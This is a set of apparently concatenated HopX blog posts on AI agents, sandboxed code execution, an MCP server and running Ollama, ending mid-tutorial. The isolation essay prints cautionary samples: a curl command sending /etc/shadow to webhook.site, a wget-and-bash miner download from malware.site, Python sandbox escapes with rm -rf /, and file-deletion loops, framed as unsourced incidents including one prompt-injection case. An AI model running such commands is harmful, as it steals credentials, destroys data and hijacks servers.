{ await sandbox.kill(); } }, }), }, maxSteps: 5, }); return result.toDataStreamResponse(); } ``` ```tsx // app/page.tsx 'use client'; import { useChat } from 'ai/react'; export default function Home() { const { messages, input, handleInputChange, handleSubmit, isLoading } = useChat(); return (

AI Code Assistant

{messages.map((m) => (

{m.content}

{m.toolInvocations?.map((t) => ( 
                  {'result' in t ? t.result.output : 'Executing...'}
))}
))}
); } ``` ## Conclusion The Vercel AI SDK + HopX combination gives you: - **Streaming responses**: Users see AI thinking in real-time - **Secure execution**: Code runs in isolated sandboxes - **Tool calling**: Clean integration with function calling - **React-first**: Hooks that work seamlessly with Next.js This pattern works for any AI application that needs to execute untrusted code—from coding assistants to data analysis tools. --- Ready to add code execution to your AI app? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms. ## Further Reading - [Vercel AI SDK Documentation](https://sdk.vercel.ai/docs) — Official docs - [LangChain Tools with Secure Execution](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration - [Build a Code Interpreter](/blog/ai-agents/build-code-interpreter-openai-hopx) — Full agent tutorial - [Streaming Code Execution](/blog/tutorials/streaming-code-execution-for-agents) — Deep dive into streaming --- ## What Is an AI Agent? The Complete Guide for Developers URL: https://hopx.ai/blog/ai-agents/what-is-an-ai-agent/ Category: AI Agents Published: 2025-11-26 # What Is an AI Agent? The Complete Guide for Developers Everyone's talking about AI agents. But strip away the hype, and you'll find most "agents" are just chatbots with extra steps. So what actually makes an AI system an agent? This guide cuts through the noise to give you a clear, practical understanding of AI agents—what they are, how they differ from regular LLMs, and what it takes to build production-ready autonomous systems. ## The Definition Problem Ask ten developers what an AI agent is, and you'll get twelve answers: - "It's an LLM that can use tools" - "It's an autonomous system that pursues goals" - "It's a chatbot with memory" - "It's anything that runs in a loop" All of these capture part of the picture. None capture all of it. Here's a working definition that actually helps: > **An AI agent is a system that uses an LLM to decide what actions to take, executes those actions, observes the results, and iterates until a goal is achieved—with minimal human intervention.** The key phrase is **minimal human intervention**. A chatbot waits for your next message. An agent figures out what to do next on its own. ## Agent vs. Chatbot: The Core Difference ``` CHATBOT AGENT ──────── ───── User: "Analyze sales data" User: "Analyze sales data" Bot: "Here's the analysis..." Agent: *thinks* Need to: 1. Find the data file User: "Now make a chart" 2. Load and clean it Bot: "Here's a chart..." 3. Run analysis 4. Create visualizations User: "Email it to my team" 5. Generate report Bot: "Here's a draft..." Agent: *executes all steps* User: "Actually send it" Agent: "Done. Report sent to Bot: "Email sent" team@company.com" ``` The chatbot needs four prompts. The agent needs one. This isn't just about convenience. It's about capability. Some tasks are simply impossible to complete through back-and-forth conversation—they require autonomous execution. ## The Four Pillars of Agentic Systems Every true AI agent has four essential components. Miss any one, and you have something less than an agent. ### 1. Goal Interpretation The agent must understand what you want to achieve, not just what you said. ```python # User says: "Make our website faster" # Chatbot interprets: "Tell user about website optimization techniques" # Agent interprets: "Goal: Reduce website load time" "Sub-goals:" " - Analyze current performance" " - Identify bottlenecks" " - Implement optimizations" " - Verify improvements" ``` Goal interpretation means converting fuzzy human intent into concrete, measurable objectives. ### 2. Planning Given a goal, the agent must decide *how* to achieve it—breaking complex tasks into executable steps. ``` Goal: "Deploy the new feature to production" Plan: ├── 1. Run test suite │ └── If tests fail → Fix issues → Re-run ├── 2. Build production bundle ├── 3. Create database migration ├── 4. Deploy to staging ├── 5. Run smoke tests │ └── If smoke tests fail → Rollback → Investigate ├── 6. Deploy to production └── 7. Monitor for errors ``` Good planning includes: - **Task decomposition** — Breaking big tasks into small ones - **Dependency management** — Understanding what must happen first - **Contingency handling** — Knowing what to do when things fail ### 3. Tool Use Agents interact with the world through tools. A tool is any function the agent can call: ```python # Example agent tools tools = [ { "name": "read_file", "description": "Read contents of a file", "parameters": {"path": "string"} }, { "name": "write_file", "description": "Write content to a file", "parameters": {"path": "string", "content": "string"} }, { "name": "run_code", "description": "Execute Python code", "parameters": {"code": "string"} }, { "name": "search_web", "description": "Search the internet", "parameters": {"query": "string"} }, { "name": "send_email", "description": "Send an email", "parameters": {"to": "string", "subject": "string", "body": "string"} } ] ``` Tools are what give agents real-world impact. An LLM can *describe* how to analyze data. An agent with tools can *actually analyze* the data. ### 4. Observation & Iteration The agent must observe the results of its actions and decide what to do next. This is the **agent loop**: ``` ┌─────────────────────────────────────────────────────┐ │ │ │ ┌─────────┐ ┌─────────┐ ┌──────────┐ │ │ │ Think │───▶│ Act │───▶│ Observe │ │ │ └─────────┘ └─────────┘ └──────────┘ │ │ ▲ │ │ │ │ │ │ │ └──────────────────────────────┘ │ │ │ │ Repeat until: goal achieved OR max steps OR │ │ agent decides to stop │ │ │ └─────────────────────────────────────────────────────┘ ``` This loop is what makes agents autonomous. They don't just act once—they act, learn from results, and adapt. ## The Agent Spectrum Not all agents are equally autonomous. Think of it as a spectrum: ``` LOW AUTONOMY HIGH AUTONOMY ──────────────────────────────────────────────────────────────▶ │ │ │ │ │ Chatbot Copilot Task Agent Goal Agent Fully Autonomous │ │ │ │ │ Single Suggests Executes Plans & Discovers response actions, specific executes own goals, human task multi-step self-improves confirms sequences plans Example: GitHub Code Research AGI ChatGPT Copilot Interpreter Agents (theoretical) ``` Most production AI systems today operate in the "Task Agent" zone—autonomous enough to be useful, constrained enough to be safe. ## Anatomy of an Agent: Code Walkthrough Let's look at a minimal but complete agent implementation: ```python import openai import json from typing import Callable class SimpleAgent: """A minimal agent implementation demonstrating core concepts""" def __init__(self, tools: dict[str, Callable], max_iterations: int = 10): self.client = openai.OpenAI() self.tools = tools self.max_iterations = max_iterations self.memory = [] # Conversation history def run(self, goal: str) -> str: """Main agent loop""" # Initialize with goal self.memory.append({ "role": "system", "content": f"""You are an AI agent. Your goal: {goal} Available tools: {list(self.tools.keys())} Respond with JSON: {{"thought": "your reasoning", "action": "tool_name", "action_input": {{...}}}} When the goal is complete, respond: {{"thought": "goal achieved because...", "action": "finish", "result": "final answer"}}""" }) for iteration in range(self.max_iterations): # THINK: Get LLM decision response = self.client.chat.completions.create( model="gpt-4o", messages=self.memory, response_format={"type": "json_object"} ) decision = json.loads(response.choices[0].message.content) self.memory.append({"role": "assistant", "content": json.dumps(decision)}) print(f"[Step {iteration + 1}] {decision['thought']}") # CHECK: Is goal complete? if decision["action"] == "finish": return decision["result"] # ACT: Execute the tool tool_name = decision["action"] tool_input = decision["action_input"] if tool_name not in self.tools: observation = f"Error: Unknown tool '{tool_name}'" else: try: observation = self.tools[tool_name](**tool_input) except Exception as e: observation = f"Error: {str(e)}" # OBSERVE: Record the result self.memory.append({ "role": "user", "content": f"Observation: {observation}" }) print(f"[Observation] {observation[:200]}...") return "Max iterations reached without completing goal" ``` Usage: ```python # Define tools def read_file(path: str) -> str: with open(path) as f: return f.read() def write_file(path: str, content: str) -> str: with open(path, 'w') as f: f.write(content) return f"Written {len(content)} bytes to {path}" def run_python(code: str) -> str: # ⚠️ UNSAFE: See security section below exec_globals = {} exec(code, exec_globals) return str(exec_globals.get('result', 'No result')) # Create and run agent agent = SimpleAgent( tools={ "read_file": read_file, "write_file": write_file, "run_python": run_python } ) result = agent.run( "Read data.csv, calculate the average of the 'price' column, " "and save the result to result.txt" ) ``` Output: ``` [Step 1] I need to first read the data file to understand its contents [Observation] id,name,price\n1,Widget,29.99\n2,Gadget,49.99... [Step 2] Now I'll write Python code to calculate the average price [Observation] 39.99 [Step 3] I'll save the result to result.txt [Observation] Written 5 bytes to result.txt [Step 4] Task complete - I've calculated the average and saved it Result: "The average price is 39.99, saved to result.txt" ``` ## The Security Problem: Why Agents Need Isolation Notice the warning comment on `run_python` above? **This is where most AI agents fail in production.** When an agent executes code, it's running LLM-generated instructions. LLMs can: - Hallucinate dangerous commands - Be manipulated by prompt injection - Produce syntactically valid but harmful code Real example of what an LLM might generate when asked to "clean up disk space": ```python import os import shutil # "Cleaning up" by removing files for item in os.listdir('/'): if item not in ['bin', 'boot', 'etc']: # Hallucinated "safe" list shutil.rmtree(f'/{item}') # Deletes critical system directories ``` The solution is **isolated code execution**. Every code action runs in a sandbox that can't affect your real systems: ```python from hopx import Sandbox def safe_run_python(code: str) -> str: """Execute code in isolated sandbox""" sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/code.py", code) result = sandbox.commands.run("python /app/code.py") return result.stdout if result.exit_code == 0 else f"Error: {result.stderr}" finally: sandbox.kill() # Sandbox destroyed - nothing persists ``` The sandbox: - Has its own filesystem (can't read your files) - Has its own network (can't exfiltrate data) - Has resource limits (can't mine crypto) - Is destroyed after execution (can't persist malware) For a deep dive on this topic, see [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution). ## Common Agent Patterns ### Pattern 1: ReAct (Reasoning + Acting) The most common pattern. The agent explicitly reasons before each action: ``` Thought: I need to find the user's most recent order Action: query_database Action Input: {"query": "SELECT * FROM orders WHERE user_id=123 ORDER BY date DESC LIMIT 1"} Observation: {"order_id": 456, "status": "shipped", "date": "2024-01-15"} Thought: Found the order. Now I need to get tracking information Action: get_tracking Action Input: {"order_id": 456} Observation: {"carrier": "UPS", "tracking": "1Z999...", "eta": "2024-01-18"} Thought: I have all the information needed to answer the user Action: finish Result: "Your order #456 was shipped via UPS. Tracking: 1Z999... Expected delivery: Jan 18" ``` ### Pattern 2: Plan-and-Execute The agent creates a full plan upfront, then executes it: ```python class PlanAndExecuteAgent: def run(self, goal: str): # Phase 1: Planning plan = self._create_plan(goal) # Returns: ["Step 1: ...", "Step 2: ...", "Step 3: ..."] # Phase 2: Execution for step in plan: result = self._execute_step(step) # Optional: Replan if step failed if not result.success: plan = self._replan(goal, completed_steps, step, result.error) return self._synthesize_results() ``` Better for complex, multi-stage tasks. Worse for exploratory tasks where the next step depends heavily on previous results. ### Pattern 3: Reflection The agent reviews its own work before finishing: ``` [After completing task] Self-Review: - Did I answer the original question? ✓ - Did I miss any edge cases? Found one: empty input - Is the code efficient? Could optimize the loop - Any security issues? Need to sanitize input [Agent decides to improve before finishing] ``` Adding reflection significantly improves agent output quality at the cost of more LLM calls. ## Building Production Agents: Checklist Ready to build? Here's what you need: ### Infrastructure - [ ] **LLM access** — OpenAI, Anthropic, or self-hosted - [ ] **Isolated execution** — Sandboxes for code/commands ([HopX](https://hopx.ai), E2B, or self-built) - [ ] **Persistent memory** — Vector DB for long-term context - [ ] **Observability** — Logging every thought and action ### Safety Controls - [ ] **Max iteration limit** — Prevent infinite loops - [ ] **Cost limits** — Cap LLM API spending - [ ] **Action allowlists** — Restrict dangerous operations - [ ] **Human-in-the-loop** — Approval for high-stakes actions ### User Experience - [ ] **Streaming output** — Show progress, not just final result - [ ] **Cancellation** — Let users stop runaway agents - [ ] **Transparency** — Show what the agent is doing and why ## When NOT to Build an Agent Agents aren't always the answer. Use a simpler approach when: | Scenario | Better Alternative | |----------|-------------------| | Task is predictable | Hardcoded workflow | | Single LLM call suffices | Simple prompt | | User wants full control | Copilot (suggestions) | | Errors are catastrophic | Human-in-the-loop pipeline | | Real-time latency required | Pre-computed responses | Agents add complexity. Only use them when that complexity buys you something—typically handling unpredictable, multi-step tasks that can't be templated. ## The Future of Agents We're still early. Today's agents are impressive but limited: **Current limitations:** - Expensive (many LLM calls per task) - Slow (sequential reasoning) - Unreliable (hallucinations compound) - Narrow (struggle with truly novel tasks) **What's coming:** - **Cheaper models** — More reasoning per dollar - **Better planning** — Fewer wasted steps - **Multi-agent systems** — Specialized agents collaborating - **Learning from experience** — Agents that improve over time The agents of 2025 will make today's agents look primitive. But the fundamentals—goal interpretation, planning, tool use, observation—will remain constant. ## Start Building Here's your quickstart path: 1. **Understand the loop** — Build the minimal agent above 2. **Add real tools** — File operations, web search, API calls 3. **Add safety** — Isolate code execution with sandboxes 4. **Add memory** — Let agents learn from past sessions 5. **Add streaming** — Show users what's happening 6. **Iterate** — Watch agents fail, improve, repeat The best way to understand agents is to build one. Start simple, add complexity only when needed, and always prioritize safety. --- Ready to build agents that execute code safely? [Get started with HopX](https://console.hopx.ai) — isolated sandboxes that spin up in 100ms. ## Further Reading - [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) - [Multi-Agent Architectures with HopX](/blog/deep-dives/multi-agent-architectures-with-hopx) - [Streaming Code Execution for Agents](/blog/tutorials/streaming-code-execution-for-agents) - [ReAct: Synergizing Reasoning and Acting in Language Models](https://arxiv.org/abs/2210.03629) - [LangChain Agents Documentation](https://python.langchain.com/docs/modules/agents/) --- ## Why AI Agents Need Isolated Code Execution URL: https://hopx.ai/blog/ai-agents/why-ai-agents-need-isolated-code-execution/ Category: AI Agents Published: 2025-11-26 # Why AI Agents Need Isolated Code Execution The AI industry has a dirty secret: most AI agents running in production today are executing LLM-generated code directly on host machines. No isolation. No sandboxing. Just raw `exec()` calls with whatever code GPT-4 decides to output. This is a ticking time bomb. ## The Rise of Code-Executing AI Agents AI agents have evolved from simple chatbots to autonomous systems that can: - Write and execute Python scripts - Query databases - Make API calls - Manipulate files - Install packages Tools like OpenAI's Code Interpreter, LangChain agents, and AutoGPT have normalized the idea of LLMs generating and running code. And it works remarkably well—until it doesn't. ## The Problem: LLMs Are Unpredictable Here's a fundamental truth: **you cannot trust LLM-generated code**. Not because LLMs are malicious, but because: 1. **Prompt injection attacks** can manipulate agents to execute harmful code 2. **Hallucinations** can produce syntactically valid but dangerous commands 3. **Unintended behaviors** emerge from ambiguous instructions 4. **User inputs** flow through prompts into executable code ### Real-World Horror Stories **Case 1: The Data Exfiltration Agent** A developer built a "helpful coding assistant" that could run user commands. A user asked it to "help debug a network issue." The LLM, trying to be helpful, executed: ```python import subprocess subprocess.run(["cat", "/etc/passwd"]) subprocess.run(["curl", "-X", "POST", "https://webhook.site/xxx", "-d", "@/etc/shadow"]) ``` The agent exfiltrated system credentials to an external server. **Case 2: The Infinite Loop Disaster** An AI data analysis agent was asked to "process all files in the directory." The LLM generated: ```python import os for f in os.listdir("/"): os.remove(f) # Misinterpreted "process" as "clean up" ``` The agent started deleting system files before anyone noticed. **Case 3: The Crypto Miner** Through prompt injection, an attacker made a customer service AI execute: ```python import subprocess subprocess.run(["wget", "https://malware.site/miner.sh", "-O", "/tmp/m.sh"]) subprocess.run(["bash", "/tmp/m.sh"]) ``` The company's servers became crypto miners for weeks before detection. ## Why Traditional Sandboxing Falls Short You might think: "I'll just use Docker containers" or "I'll restrict Python's capabilities." Here's why that's not enough: ### Docker Containers Are Not Security Boundaries Docker was designed for **packaging**, not **security isolation**. Containers share the host kernel, and container escape vulnerabilities are discovered regularly: - CVE-2019-5736: Container escape via runc - CVE-2020-15257: Container escape via containerd - CVE-2022-0185: Container escape via kernel vulnerability If an attacker escapes your container, they own your host machine—and every other container on it. ### Python Sandboxing Is Fundamentally Broken Attempts to sandbox Python by removing dangerous modules (like `os`, `subprocess`, `socket`) fail because: ```python # You blocked 'os'? No problem. __builtins__.__import__('os').system('rm -rf /') # You blocked that? Try this. ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() ``` Python's introspection makes it nearly impossible to create a secure sandbox at the language level. ### Lambda Functions Have Their Own Issues AWS Lambda provides good isolation, but: - Cold starts of 1-5 seconds make real-time AI unusable - 15-minute execution limits kill long-running tasks - No persistent filesystem between invocations - Complex setup for custom environments - Expensive at scale (you pay for idle time in warm functions) ## The Solution: Hardware-Level Isolation The only way to safely run untrusted code is **hardware-level isolation**—running each execution in its own virtual machine with a dedicated kernel. This is how HopX works: ``` ┌─────────────────────────────────────────────────────────┐ │ Your Application │ ├─────────────────────────────────────────────────────────┤ │ HopX API │ ├─────────────────────────────────────────────────────────┤ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ MicroVM │ │ MicroVM │ │ MicroVM │ │ │ │ Sandbox 1 │ │ Sandbox 2 │ │ Sandbox 3 │ │ │ │ │ │ │ │ │ │ │ │ Kernel 1 │ │ Kernel 2 │ │ Kernel 3 │ │ │ │ FS 1 │ │ FS 2 │ │ FS 3 │ │ │ │ Network 1 │ │ Network 2 │ │ Network 3 │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ ├─────────────────────────────────────────────────────────┤ │ Hypervisor │ ├─────────────────────────────────────────────────────────┤ │ Bare Metal Host │ └─────────────────────────────────────────────────────────┘ ``` Each sandbox has: - **Its own kernel** - No kernel exploits affect other sandboxes - **Its own filesystem** - Complete isolation of data - **Its own network stack** - No lateral movement possible - **Resource limits** - CPU, memory, and I/O constraints Even if an attacker achieves root access inside a sandbox, they cannot: - Access other sandboxes - Access the host machine - Persist beyond the sandbox lifetime - Exfiltrate data to unauthorized destinations ## But Isn't VM Isolation Slow? This is the traditional argument against VMs. And it was true—until microVMs. MicroVMs like Firecracker (developed by AWS for Lambda) boot in **under 125 milliseconds**. HopX sandboxes are ready to execute code in approximately **100ms**. Compare this to: | Technology | Cold Start | Isolation Level | |------------|------------|-----------------| | Direct execution | 0ms | None | | Python subprocess | ~50ms | None | | Docker container | 500ms-2s | Process isolation | | AWS Lambda | 1-5s | MicroVM | | **HopX Sandbox** | **~100ms** | **MicroVM** | You get hardware-level security with near-instant startup. ## What This Means for Your AI Agents If you're building AI agents that execute code, you have three options: ### Option 1: Accept the Risk (Don't) Run LLM-generated code directly on your servers. Cross your fingers. Hope your LLM never hallucinates a dangerous command. This is what most people do. It works until it catastrophically doesn't. ### Option 2: Limit Agent Capabilities (Frustrating) Restrict what your agent can do. No file access. No network calls. No package installation. This makes your agent significantly less useful. Users will go to competitors with more capable agents. ### Option 3: Use Proper Isolation (Smart) Execute all untrusted code in isolated sandboxes. Let your LLM do whatever it wants—inside a cage. ```python from hopx_ai import Sandbox from openai import OpenAI openai = OpenAI() def safe_code_agent(user_request: str) -> str: # Get code from LLM response = openai.chat.completions.create( model="gpt-4", messages=[{"role": "user", "content": user_request}] ) code = response.choices[0].message.content # Execute in isolated sandbox with Sandbox.create(template="code-interpreter") as sandbox: result = sandbox.run_code(code) return result.stdout ``` The LLM can generate any code. The sandbox ensures it can't harm your infrastructure. ## The Business Case for Isolation Beyond security, there are business reasons to isolate AI agent execution: ### Compliance GDPR, HIPAA, SOC 2, and other frameworks require data isolation. Running user data through shared execution environments is a compliance nightmare. ### Multi-tenancy If you're building a B2B AI product, each customer's data must be isolated. Sandboxes provide this by default. ### Predictable Costs Runaway processes in shared environments affect all users. Sandboxes have resource limits—one user can't consume all your compute. ### Debugging When something goes wrong, isolated sandboxes make debugging straightforward. Each execution is contained and logged independently. ## Getting Started with Secure Execution Adding isolation to your AI agent is surprisingly simple: ```python pip install hopx-ai ``` ```python from hopx_ai import Sandbox # Your agent logic def execute_agent_code(code: str) -> str: with Sandbox.create(template="code-interpreter") as sandbox: result = sandbox.run_code(code) return result.stdout if result.exit_code == 0 else result.stderr ``` That's it. Every execution now runs in an isolated microVM. ## Common Questions ### What if I need packages the template doesn't have? Install them at runtime: ```python sandbox.commands.run("pip install pandas matplotlib seaborn") sandbox.run_code("import pandas as pd; print(pd.__version__)") ``` Or create a custom template with your dependencies pre-installed. ### Can sandboxes access the internet? Yes, sandboxes have outbound internet access by default. You can restrict this if needed. ### What about performance-sensitive applications? Sandboxes add approximately 100ms of overhead for creation. For long-running tasks, this is negligible. For rapid-fire executions, you can reuse sandboxes. ### How do I share data between my app and the sandbox? Use the file API to upload data before execution and download results after: ```python sandbox.files.write("/data/input.csv", your_data) sandbox.run_code("import pandas as pd; df = pd.read_csv('/data/input.csv')...") result = sandbox.files.read("/data/output.csv") ``` ## Conclusion AI agents are only getting more powerful. They'll write code, execute commands, and manipulate data at scales we can barely imagine. The question isn't whether you need isolated execution—it's whether you'll add it before or after a security incident. Hardware-level isolation with microVMs gives you: - **True security** - Not just "probably safe" - **Fast startup** - 100ms cold starts - **Full capabilities** - No artificial restrictions - **Compliance** - Data isolation by design The infrastructure to do this safely exists today. Use it. --- Ready to secure your AI agents? [Get started with HopX](https://console.hopx.ai) and get $200 in free credits. --- ## Announcing HopX MCP Server: Code Execution for AI Assistants URL: https://hopx.ai/blog/product-updates/announcing-hopx-mcp-server/ Category: Product Updates Published: 2025-11-25 # Announcing HopX MCP Server: Code Execution for AI Assistants We're excited to announce the **HopX MCP Server** — a Model Context Protocol server that enables AI assistants like Claude, Cursor, and VS Code Copilot to execute code in secure, isolated cloud containers. **One command to install. Instant code execution superpowers.** ```bash uvx hopx-mcp ``` ## What is MCP? The [Model Context Protocol](https://modelcontextprotocol.io/) (MCP) is an open standard that allows AI assistants to interact with external tools and services. Instead of just generating code, your AI can now *run* it. With the HopX MCP Server, when you ask Claude to "analyze this data" or "test this function," it doesn't just write the code — it executes it in a secure sandbox and returns the actual results. ## Why HopX MCP? **Before HopX MCP:** > "Here's some Python code that should work. Copy it and run it yourself to see the output." **After HopX MCP:** > "I ran the analysis. Here are the results: average is 42.5, median is 38, and I've generated a chart showing the distribution." The difference is transformative. Your AI assistant becomes a true coding partner that can: - **Execute code** and see real output - **Debug iteratively** by running and fixing - **Analyze data** with pandas, numpy, matplotlib - **Test solutions** before presenting them - **Work with files** in isolated environments ## Quick Start ### 1. Get Your API Key Sign up at [hopx.ai](https://hopx.ai) to get your API key. ### 2. Configure Your IDE **For Claude Desktop**, add to your config file: ```json { "mcpServers": { "hopx-sandbox": { "command": "uvx", "args": ["hopx-mcp"], "env": { "HOPX_API_KEY": "your-api-key-here" } } } } ``` Config locations: - **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json` - **Windows**: `%APPDATA%\Claude\claude_desktop_config.json` **For Cursor**, add to `.cursor/mcp.json`: ```json { "mcpServers": { "hopx-sandbox": { "command": "uvx", "args": ["hopx-mcp"], "env": { "HOPX_API_KEY": "your-api-key-here" } } } } ``` **For VS Code**, add to `.vscode/mcp.json`: ```json { "mcpServers": { "hopx-sandbox": { "command": "uvx", "args": ["hopx-mcp"], "env": { "HOPX_API_KEY": "your-api-key-here" } } } } ``` ### 3. Start Using It Restart your IDE and start asking your AI to run code! ## Capabilities ### Multi-Language Support Execute code in multiple languages out of the box: | Language | Version | Pre-installed Packages | |----------|---------|----------------------| | Python | 3.11+ | pandas, numpy, matplotlib, scipy, scikit-learn, requests | | JavaScript | Node.js 20 | Standard libraries | | Bash | Latest | Unix utilities, git, curl, wget | | Go | Latest | Compilation support | ### Available Tools The MCP server provides these tools to your AI assistant: **Code Execution** - `execute_code_isolated()` — One-shot execution (recommended) - `execute_code()` — Execute in existing sandbox - `execute_code_background()` — Long-running tasks - `execute_code_async()` — Webhook callbacks for 30+ min tasks **File Operations** - `file_read()`, `file_write()`, `file_list()` - `file_exists()`, `file_remove()`, `file_mkdir()` **Shell Commands** - `run_command()` — Execute shell commands - `run_command_background()` — Background processes **Sandbox Management** - `create_sandbox()` — Create persistent sandbox - `list_sandboxes()` — List active sandboxes - `delete_sandbox()` — Terminate sandbox ## Performance We've optimized for the interactive AI use case: | Metric | Time | |--------|------| | Sandbox creation | ~200ms | | Container startup | ~100ms | | Code execution | Near-instant | Your AI doesn't wait. Neither do you. ## Security Every code execution runs in complete isolation: - **VM-level isolation** — Each execution in its own micro-VM - **Auto-cleanup** — Containers destroyed after use (default: 10 min) - **No cross-contamination** — Sandboxes can't access each other - **JWT authentication** — Secure per-sandbox auth Your local system is completely protected from executed code. ## Example Use Cases ### Data Analysis Ask Claude: *"Download the Titanic dataset and show me survival rates by passenger class"* Claude will: 1. Execute code to download the dataset 2. Run pandas analysis 3. Generate matplotlib visualizations 4. Return actual statistics and charts ### Code Testing Ask Cursor: *"Write a function to validate email addresses and test it with edge cases"* Cursor will: 1. Write the validation function 2. Create test cases 3. Execute tests in a sandbox 4. Show real pass/fail results ### Debugging Ask your AI: *"This code throws an error, fix it"* Your AI will: 1. Run the code to see the actual error 2. Analyze the traceback 3. Apply a fix 4. Run again to verify it works ## Open Source The HopX MCP Server is open source and available on GitHub: **[github.com/hopx-ai/mcp](https://github.com/hopx-ai/mcp)** We welcome contributions, issues, and feedback from the community. ## Get Started Today 1. **Sign up** at [hopx.ai](https://hopx.ai) for your API key 2. **Install** with `uvx hopx-mcp` 3. **Configure** your IDE 4. **Start building** with AI-powered code execution Transform your AI assistant from a code generator into a true coding partner. --- ## Resources - [GitHub Repository](https://github.com/hopx-ai/mcp) - [HopX Documentation](https://docs.hopx.ai) - [Model Context Protocol](https://modelcontextprotocol.io/) - [Get API Key](https://hopx.ai) Questions? Reach out at [support@hopx.ai](mailto:support@hopx.ai). --- ## Run Any LLM with Ollama in Secure Sandboxes URL: https://hopx.ai/blog/tutorials/run-any-llm-with-ollama-in-secure-sandboxes/ Category: Tutorials Published: 2025-11-25 # Run Any LLM with Ollama in Secure Sandboxes Want to run LLMs like Llama 3.3, Mixtral, or CodeLlama without sending data to third-party APIs? This guide shows you how to deploy Ollama in isolated HopX sandboxes—giving you the privacy of self-hosting with the simplicity of a managed service. **What you'll learn:** - Deploy any Ollama model with ~100ms cold starts - Save up to 78% compared to pay-per-token APIs - Keep sensitive data in hardware-isolated environments - Scale from 1 to 1,000 sandboxes with the same code --- ## Why Traditional LLM Deployment Costs You More Than Money Running AI models in production introduces three critical problems: ### Problem 1: Security Risks You Can't Afford Container-based deployments share a host kernel. One escape path compromises your entire infrastructure. If your application handles sensitive data—medical records, financial transactions, or proprietary code—this shared-kernel architecture creates unacceptable risk. ### Problem 2: Cold Starts Kill User Experience Traditional containers take 10+ seconds to start. Every request waits while resources spin up. Your users see loading screens. Your AI agents sit idle. Productivity drops while infrastructure catches up. ### Problem 3: Unpredictable Costs Drain Budgets Cloud API pricing varies with token count. One complex query can cost 10x more than expected. Monthly bills fluctuate wildly. You can't forecast spending or optimize costs when pricing depends on factors outside your control. --- ## The Solution: Ollama on Isolated Micro-VMs Combining Ollama with HopX sandboxes solves these problems through a different architecture. Each model runs in its own micro-VM with dedicated kernel, file system, and network stack. **What changes:** - **Security**: Each sandbox has its own kernel. No shared resources. - **Speed**: Sandboxes start in ~100ms from pre-built snapshots. - **Cost**: Pay per second of actual compute usage. Pause when idle. - **Privacy**: Your data never leaves your infrastructure. --- ## Real Performance Numbers | Metric | Traditional Containers | HopX Micro-VMs | |--------|------------------------|----------------| | **Cold Start Time** | 10-15 seconds | ~100 milliseconds | | **Kernel Isolation** | Shared kernel | Dedicated kernel per VM | | **Runtime Limits** | 15 minutes (typical) | Hours to days | | **Startup Cost** | Fixed per invocation | $0.000014/vCPU-second | | **Data Residency** | Provider-dependent | Your choice of region | For high-volume workloads, self-managed micro-VMs can reduce costs by **up to 78%** compared to pay-per-token APIs. --- ## Prerequisites Before starting, you need: - A HopX account ([sign up here](https://console.hopx.ai) for $200 in free credits) - Python 3.11+ - Your `HOPX_API_KEY` from the dashboard **Set up your environment:** 1. Sign up at [console.hopx.ai](https://console.hopx.ai) 2. Get your API key from the dashboard 3. Set the environment variable: ```bash export HOPX_API_KEY="your-api-key-here" ``` --- ## Step 1: Install Dependencies ```bash pip install hopx-ai python-dotenv asyncio ``` --- ## Step 2: Configure Environment ```python import os import time import asyncio from dotenv import load_dotenv # Load environment variables load_dotenv() # Verify API key is set api_key = os.getenv("HOPX_API_KEY") if not api_key: print("⚠️ HOPX_API_KEY not found in environment") print("Please set it: export HOPX_API_KEY=your-key-here") else: print("✓ API key configured") ``` --- ## Step 3: Create Ollama Template Templates define your sandbox environment. This template: - Starts with Python 3.13 base image - Installs Ollama - Pre-downloads your chosen model - Configures the environment for production use ```python from hopx_ai import Template from hopx_ai.template.types import BuildOptions, BuildResult # Configuration OLLAMA_MODEL = "llama3.3" # Change this to your preferred model TEMPLATE_NAME = f"ollama-production-{int(time.time())}" def create_ollama_template() -> Template: """Create a production-ready Ollama template.""" return ( Template() .from_python_image("3.13") .run_cmd("mkdir -p /workspace") .set_env("LANG", "en_US.UTF-8") .set_env("PYTHONUNBUFFERED", "1") .set_env("HOME", "/workspace") .run_cmd("curl -fsSL https://ollama.com/install.sh | sh") .run_cmd(f"/usr/local/bin/ollama pull {OLLAMA_MODEL}") .set_workdir("/workspace") ) def create_build_options(api_key: str) -> BuildOptions: """Configure build options for the template.""" return BuildOptions( name=TEMPLATE_NAME, api_key=api_key, cpu=2, memory=2048, # MB disk_gb=20, on_log=lambda log: print(f"[{log.get('level')}] {log.get('message')}"), on_progress=lambda p: print(f"Build progress: {p}%"), ) async def build_template() -> BuildResult: """Build the Ollama template.""" template = create_ollama_template() options = create_build_options(os.getenv("HOPX_API_KEY")) print(f"Building template: {TEMPLATE_NAME}") return await Template.build(template, options) print("✓ Template configuration ready") ``` --- ## Step 4: Build and Deploy Your First Sandbox This step builds the template and creates a sandbox. **Note:** Building takes ~2 minutes the first time. ```python from hopx_ai import Sandbox async def deploy_ollama_sandbox(): """Deploy an Ollama sandbox.""" # Build the template (do this once) print("Building template... (this takes ~2 minutes)") result = await build_template() print(f"✓ Template ready: {result.template_id}") # Create sandbox from template print("Creating sandbox...") sandbox = Sandbox.create( template=TEMPLATE_NAME, api_key=os.getenv("HOPX_API_KEY") ) print(f"✓ Sandbox created: {sandbox.sandbox_id}") # Test with a simple prompt print("\nTesting model...") response = sandbox.commands.run( f"/usr/local/bin/ollama run {OLLAMA_MODEL} 'Explain quantum computing in one sentence'", timeout=240 ) print(f"\nModel response:\n{response.stdout}") return sandbox # Run the deployment sandbox = await deploy_ollama_sandbox() ``` --- ## Step 5: Persist and Reconnect to Sandboxes Creating new sandboxes every time wastes resources. Save the sandbox ID and reconnect: ```python async def get_or_create_sandbox() -> Sandbox: """Get existing sandbox or create new one.""" sandbox_file = ".hopx_sandbox_id" if os.path.exists(sandbox_file): with open(sandbox_file, "r") as f: sandbox_id = f.read().strip() try: sandbox = Sandbox.connect( sandbox_id, api_key=os.getenv("HOPX_API_KEY") ) print(f"✓ Reconnected to sandbox: 